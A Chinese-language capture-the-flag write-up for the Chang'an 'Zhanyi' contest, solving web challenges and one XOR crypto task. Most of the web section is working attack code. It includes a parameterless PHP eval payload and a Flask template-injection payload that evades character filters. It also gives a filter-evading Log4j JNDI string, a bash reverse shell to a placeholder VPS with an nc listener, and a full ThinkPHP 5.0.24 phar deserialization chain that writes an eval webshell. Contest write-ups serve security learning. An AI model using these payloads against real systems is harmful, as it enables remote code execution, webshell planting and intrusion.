长安“战疫”网络安全卫士守护赛
这次的长安“战疫”搞得还挺大的,那么多大佬都来比赛了,我摸摸鱼就好...
Web
RCE_No_Para
看到这么短的审计就心慌,
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>
这里第一个绕过
/[^\W]+\((?R)?\)/
使用了递归模式,这里的正则意思就是只能使用function()
或function1(function2())
,也就是不能使用参数
因为是rce
,所以我们就是要执行系统命令,但是传不进去参数,就想着从外边引入
因为过滤了一部分字符,我们使用get_defined_vars()
获得变量,然后reset()
获得$_GET
,再次reset()
获得第一个GET
变量,所以传参的时候第一个变量不能是code
,然后eval()
执行就好。
payload:
?cmd=system('cat flag.php');&code=eval(reset(reset(get_defined_vars())));
flask
到了页面说是需要登录,瞎试了一下传参,无果,源码里有这样一句话
if not request.full_path.endswith(".js?"):
if not request.full_path.startswith("/login"):
return redirect("login")
经过本地测试,发现可以绕过
http://24bacbc0.lxctf.net/admin?static.js?
成功进入admin
页面,提示admin/?name=
,然后使用/admin?name={{7*7}}&static.js?
进行SSTI
经过测试发现过滤掉了一些字符
__ [ ] subclasses args value
我们使用十六进制或者unicode
绕过
{{config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")('cat /flag')|attr("read")()}}&static.js?
__getitem__
方法返回键对应值,attr
过滤器获得类属性
Shiro?
试一下log4j2
的洞呗,${jndi:ladp://nn2mmc.dnslog.cn/exp}
,发现被拦了
网上随便找个绕过${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nn2mmc.dnslog.cn/exp}
,
成功回显,那这不就简单了吗?
在大师傅这里下载exp
https://github.com/welk1n/JNDI-Injection-Exploit
将下面反弹shell
进行base64
编码
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1
然后在vps
开启服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编 码的反弹shell}|{base64,-d}|{bash,-i}" -A "vpsip"
然后再开一个终端进行监听端口
nc -lvp port
然后将payload发出去,成功反弹shell
Flag配送中心
F12
提示
<!--Powered by PHP 5.6.23 + fastcgi-->
直接google
搜php5.6.23
的fastcgi
漏洞
https://www.cnblogs.com/ahtoh/p/15428089.html
在vps
上nc
一下就获取到flag
了
tp
一开始以为没有源码,结果发现我眼睛白长了,那么几个大字就在首页访问upload 方法进行文件上传
?s=index/index/upload
直接访问获得源码
一开始的foreach
和下边的func()
实现了变量覆盖,可以在本地测试一下更容易理清关系
<?php
function func(&$var){
if(is_array($var)){
foreach($var as $_k => $_v){
$var[$_k] = func($_v);
}
}else{
$var = addslashes($var);
}
return $var;
}
$q = ["a"=>["d"=>1], "b"=>"2"];
$w = ["c"=>"3"];
foreach (array($q,$w) as $request) {
foreach($request as $k => $v) {
${$k} = func($v);
//$_request[$_k] = ${$_k};
}
}
var_dump($a);
然后就是中间的那一块
$file = @$FILES['file']["tmp_name"];
$filename = @$FILES['file']["name"].'.jpg';
move_uploaded_file($file,$filename);
if(preg_match("/ph/",$filename)){
unlink($filename);
die("noPHP");
}
这里实现了文件上传的功能,如果匹配到了ph
就立刻删除文件,删除用到了unlink()
unlink()
可以触发phar://
伪协议,再加上又是tp5
的框架,不难想到是反序列化攻击
网上先随便找个链子生成phar文件
,先是找了个rce
的链子,但是不行,就换了另一条。
exp:
<?php
namespace think\process\pipes{
use think\model\Pivot;
use think\cache\driver\Memcached;
class Windows{
private $files = [];
public function __construct($path,$data)
{
$this->files = [new Pivot($path,$data)];
}
}
}
namespace think{
abstract class Model
{}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($path,$data)
{
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($path,$data);
$this->parent = new \think\console\Output($path,$data);
}
}
abstract class Relation
{}
}
namespace think\model\relation{
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($path,$data)
{
$this->selfRelation = false;
$this->query = new Query($path,$data);
$this->bindAttr = ['a'.$data];
}
}
}
namespace think\db{
use think\console\Output;
class Query
{
protected $model;
public function __construct($path,$data)
{
$this->model = new Output($path,$data);
}
}
}
namespace think\console{
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($path,$data)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($path,$data);
}
}
}
namespace think\session\driver{
use think\cache\driver\File;
use think\cache\driver\Memcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($path,$data)
{
$this->handler = new Memcached($path,$data);
}
}
}
namespace think\cache\driver{
class Memcached
{
protected $handler;
protected $tag;
protected $options = [];
public function __construct($path,$data)
{
$this->options = ['prefix' => ''];
$this->handler = new File($path,$data);
$this->tag = true;
}
}
}
namespace think\cache\driver{
class File
{
protected $options = [];
protected $tag;
public function __construct($path,$data)
{
$this->tag = false;
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => $path,
'data_compress' => false,
];
}
}
}
namespace {
use think\process\pipes\Windows;
$data = base64_encode('<?php phpinfo();eval($_POST["a"]);?>');
echo "tp5.0.24 write file pop Chain\n";
echo "The '=' cannot exist in the data,please check:".$data."\n";
$path = 'php://filter/convert.base64-decode/resource=/var/www/html/public/';
$o = new Windows($path,$data);
echo base64_encode(serialize($o));
echo "\n";
echo 'filename:'.md5('tag_'.md5(true)).'.php';
$phar = new \Phar("aaa.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
exp
这里需要注意的一点是,$data
那里经过base64_encode
后不能存在=
,否则就无法写入成功写入文件
接下来我们就想办法如何触发phar://
,这里用到了变量覆盖,我们先把文件传上去
然后在使用变量覆盖触发phar://
然后直接访问public/3b58a9545013e88c7186db11bb158c44.php
,就getshell
了
Crypto
web
做累了,看一看密码,就剩半小时了,看个解出来人最多的吧
no_cry_no_can
from Crypto.Util.number import*
from secret import flag,key
assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
block_len = len(flag) // len(key) + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])
c = can_encrypt(flag,key)
print(c)
# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
分析一下,可以通过已知的flag
推出key
,所以就简单了,改几个参数就好了
from Crypto.Util.number import*
key = bytes([95, 17, 50, 255, 97])
flag = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
def can_encrypt(flag,key):
block_len = len(flag) // 5 + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])
c = can_encrypt(flag, key)
print(c)
这个key
是通过前五位直接反推出来的,new_key
就是key
的多次重复
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)